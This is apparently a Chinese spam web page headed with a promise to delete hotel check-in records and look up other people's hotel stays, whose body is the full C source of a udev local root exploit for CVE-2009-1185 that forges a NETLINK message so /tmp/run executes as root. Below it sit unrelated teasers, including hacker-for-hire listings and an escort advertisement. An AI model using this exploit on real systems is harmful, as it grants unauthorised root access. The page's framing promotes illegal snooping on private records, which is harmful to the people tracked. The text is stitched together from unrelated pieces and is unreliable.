怎么删除酒店开房记录 如何查询他人在酒店和宾

访客3年前黑客文章874

* cve-2009-1185.c** udev < 141 Local Privilege Escalation Exploit* Jon Oberheide * http://jon.oberheide.org** Information:** http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1185** udev before 1.4.1 does not verify whether a NETLINK message originates* from kernel space, which allows local users to gain privileges by sending* a NETLINK message from user space. ** Notes:** An alternate version of kcope's exploit. This exploit leverages the* 95-udev-late.rules functionality that is meant to run arbitrary commands* when a device is removed. A bit cleaner and reliable as long as your* distro ships that rule file. The exploit will execute /tmp/run as root* so throw whatever payload you want in there.** Pass the PID of the udevd netlink socket (listed in /proc/net/netlink,* usually is the udevd PID minus 1) as argv[1].*/#include #include #include #include #include #include #include #ifndef NETLINK_KOBJECT_UEVENT #define NETLINK_KOBJECT_UEVENT 15 #endif int main(int argc, char **argv) { int sock; char *mp; char message[4096]; struct msghdr msg; struct iovec iovector; struct sockaddr_nl address; memset(&address, 0, sizeof(address)); address.nl_family = AF_NETLINK; address.nl_pid = atoi(argv[1]); address.nl_groups = 0; msg.msg_name = (void*)&address; msg.msg_namelen = sizeof(address); msg.msg_iov = &iovector; msg.msg_iovlen = 1; sock = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT); bind(sock, (struct sockaddr *) &address, sizeof(address)); mp = message; mp += sprintf(mp, "a@/d") + 1; mp += sprintf(mp, "SUBSYSTEM=block") + 1; mp += sprintf(mp, "DEVPATH=/dev/foo") + 1; mp += sprintf(mp, "TIMEOUT=10") + 1; mp += sprintf(mp, "ACTION=remove") +1; mp += sprintf(mp, "REMOVE_CMD=/tmp/run") +1; iovector.iov_base = (void*)message; iovector.iov_len = (int)(mp-message); sendmsg(sock, &msg, 0); close(sock); return 0; } // milw0rm.com [2009-04-30]

相关文章

房产知识:房产证怎么改名有哪位网友知道说说

相信现在有很多的朋友们对于房产证怎么改名有哪位网友知道说说呗都想要了解吧,那么今天小编就来给大家针对房产证怎么改名有哪位网友知道说说呗进行一个介绍吧,希望小编介绍的内容能够为大家起到帮助哦 房产证更名...

24小时接单的黑客?24小时黑客接单平台

受影响系统:Gilles Vollant Software WinImage 8.10Gilles Vollant Software WinImage 8.0 描述:WinImage是一个磁盘工具,允...

漳州市伴游-【弓玉婷】

“漳州市伴游-【弓玉婷】” 淘宝网模特私拍:4527米/天年纪:三十岁找商务接待高档个人商务伴游必须了解的几个方面微信号码:22**a**b属相:蛇大伙儿要留意的是,大伙儿要学好鉴别艺人经纪人的真实性...

经参微话题|打击“网络黑产”需用重拳

经参微话题|打击“网络黑产”需用重拳

在2019年国家网络安全宣传周的会场上,业内人士表示,数据非法售卖、浏览器主页劫持、移动恶意程序等违法犯罪行为的背后,都有一条条暗暗滋长的网络黑色产业链。“网络黑产”不仅存在于游戏、视频领域,在音乐娱...

暴师傅麻辣烫如何加盟?此教程助你开店无忧

暴师傅麻辣烫如何加盟?此教程助你开店无忧

想要投资加盟品牌,就必然要知道加盟品牌的加盟步调都有哪些,假如加盟步调太难,就需要列位加盟者对加盟步调要越发的操心了,而暴师傅麻辣烫加盟品牌则属于另一种环境,就是加盟步调很简朴,这样才气使得列位加盟者...

神域online:怎么玩,才气免费赚100元以上?

神域online自己宣称一个新型电商平台,内里又聚集了看视频广告和类似矿机类赚钱的功效,新用户免费实名后,再看15个广告,可以激活守护者,天天产1.9个貔貅,貔貅可以通过买卖中心直接卖出变现。那为什么...